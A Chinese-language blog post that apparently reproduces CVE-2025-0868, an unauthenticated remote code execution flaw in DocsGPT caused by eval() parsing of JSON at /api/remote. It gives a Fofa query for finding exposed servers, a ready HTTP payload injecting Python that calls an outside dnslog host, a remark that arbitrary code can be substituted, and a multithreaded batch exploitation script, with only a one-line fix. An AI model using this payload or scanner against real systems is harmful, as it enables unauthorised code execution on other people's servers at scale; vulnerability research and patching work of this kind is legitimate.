DocsGPT 远程命令执行漏洞复现(CVE-2025-0868)

免责申明:

本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权,请及时与我们联系,我们将尽快处理并删除相关内容。

前言:

我们建立了一个更多,更全的知识库。每日追踪最新的安全漏洞并提供批量性检测脚本。

更多详情:

复制代码
https://pc.fenchuan8.com/#/index?forum=101158&yqm=DGR4X

0x01 产品描述:

DocsGPT是一款基于大语言模型的开源文档智能问答工具,通过整合GPT系列模型(如GPT-3.5、Falcon和Llama2优化版本)Meta的Faiss相似性搜索库及LangChain框架,支持用户以自然语言对话形式快速查询TXT/PDF/MD/RST/ZIP等多格式文档内容。该系统提供网页端、本地化部署和Chrome插件三种使用方式,允许企业私有化部署知识库并实现离线问答服务,尤其适用于技术文档管理、智能客服等场景,其开源特性还支持用户自定义模型和提示词模板以增强安全性与灵活性。
0x02 漏洞描述:

DocsGPT 中存在导致远程代码执行 (RCE) 的漏洞。由于使用 eval() 对 JSON 数据进行解析不当,未经授权的攻击者可发送任意 Python 代码以通过 /api/remote 端点执行。

0x03 影响版本:

0.8.1 <DocsGPT< 0.12.0
0x04 搜索语句:

Fofa:body="Welcome to DocsGPT"


0x05 漏洞复现:

复制代码
POST /api/remote HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
Content-Length: 232

user=1&source=reddit&name=other&data={"source":"reddit","client_id":"1111","client_secret":1111,"user_agent":"111","search_queries":[""],"number_posts":10,"rce\\\\":__import__('requests').get('http://111.9io46y.dnslog.cn/')}#":11}

这里dns地址可以替换为远程任意可执行代码

0x06 批量检测脚本:

复制代码
批量检测:
python poc.py -f url.txt -p payload
单个检测:
python poc.py -u your-ip -p payload

import argparse
import requests
from urllib.parse import quote, urlparse, urlunparse
from concurrent.futures import ThreadPoolExecutor

requests.packages.urllib3.disable_warnings()

def normalize_url(raw_url):
    if not raw_url.startswith(('http://', 'https://')):
        raw_url = f'http://{raw_url}'
    parsed = urlparse(raw_url)
    return urlunparse((
        parsed.scheme,
        parsed.netloc,
        '/api/remote',
        '', '', ''
    ))

def build_form_data(dnslog_url):

    payload_json = (
        '{{"source":"reddit",'
        '"client_id":"1111",'
        '"client_secret":1111,'
        '"user_agent":"111",'
        '"search_queries":[""],'
        '"number_posts":10,'
        '"rce\\\\":__import__(\\\'requests\\\').get(\\\'{dns}\\\')}}#":1}}'
    ).format(dns=dnslog_url)
    return f'user=1&source=reddit&name=other&data={quote(payload_json)}'

def check_vulnerability(target, form_data, timeout=15, debug=False):
    try:
        final_url = normalize_url(target)
        headers = {
            "Host": urlparse(final_url).netloc,
            "Content-Type": "application/x-www-form-urlencoded"
        }

        if debug:
            print(f"\n[DEBUG] 完整请求URL: {final_url}")
            print(f"[DEBUG] 请求头: {headers}")
            print(f"[DEBUG] 请求体原始数据:\n{form_data}")

        response = requests.post(
            final_url,
            headers=headers,
            data=form_data,
            timeout=timeout,
            verify=False
        )

        if debug:
            print(f"[DEBUG] 响应状态码: {response.status_code}")
            print(f"[DEBUG] 响应体前200字符:\n{response.text[:200]}")

        return response.status_code == 200 and '"status":"ok"' in response.text.replace(' ', '')
    except Exception as e:
        if debug:
            print(f"[DEBUG] 异常信息: {str(e)}")
        return False

def main():
    parser = argparse.ArgumentParser(description="DocsGPT远程命令执行检测工具")
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("-u", "--url", help="单个检测目标")
    group.add_argument("-f", "--file", help="批量检测文件路径")
    parser.add_argument("-p", "--payload", required=True, help="DNSLog监控地址")
    parser.add_argument("-t", "--timeout", type=int, default=15, help="请求超时时间(秒)")
    parser.add_argument("--debug", action="store_true", help="启用调试模式")
    args = parser.parse_args()

    form_data = build_form_data(args.payload.strip())
    
    # 处理目标列表
    targets = []
    if args.url:
        targets.append(args.url)
    elif args.file:
        with open(args.file, 'r') as f:
            targets = [line.strip() for line in f if line.strip()]

    print(f"[*] 开始扫描 {len(targets)} 个目标")

    with ThreadPoolExecutor(max_workers=20) as executor:
        for target in targets:
            executor.submit(
                lambda t: print(
                    f"\033[1;32m[+] 漏洞确认: {t}\033[0m" 
                    if check_vulnerability(t, form_data, args.timeout, args.debug) 
                    else f"[-] 目标安全: {t}"
                ),
                target
            )

if __name__ == "__main__":
    main()


0x07 修复建议:

尽快升级至安全版本

相关推荐
未来之窗软件服务21 小时前
服务器运维(二十三) 服务器安全探针封装—东方仙盟练气期
安全·仙盟创梦ide·东方仙盟·安全探针
蓝之白1 天前
流量分析_SnakeBackdoor-6
web安全·ctf·流量分析·逆向分析
corpse20101 天前
Linux监控软件Monitorix 安装部署
linux·安全
飞鸟真人1 天前
关于python -m http.server的一些安全问题
python·安全·http
用户1965330672111 天前
【TryHackMe】JPT-文件包含
安全
橘色的喵1 天前
嵌入式二级 Bootloader (SBL) 的设计与实现:基于裸机环境的安全固件管理
安全·bootloader·二级boot
麦聪聊数据1 天前
MySQL 性能调优:从EXPLAIN到JSON索引优化
数据库·sql·mysql·安全·json
白山云北诗1 天前
企业网站网络安全防护方案
安全·web安全·网络安全·ddos防护·web应用防火墙·cc防护
电报号dapp1191 天前
NFT系统开发:在数字荒漠中铸造文明
安全·去中心化·区块链·智能合约
乾元1 天前
企业无线的 AI 频谱与功率自动优化——从人工勘测到“可学习的无线网络”(含真实室内工程案例)
服务器·网络·人工智能·网络协议·安全·信息与通信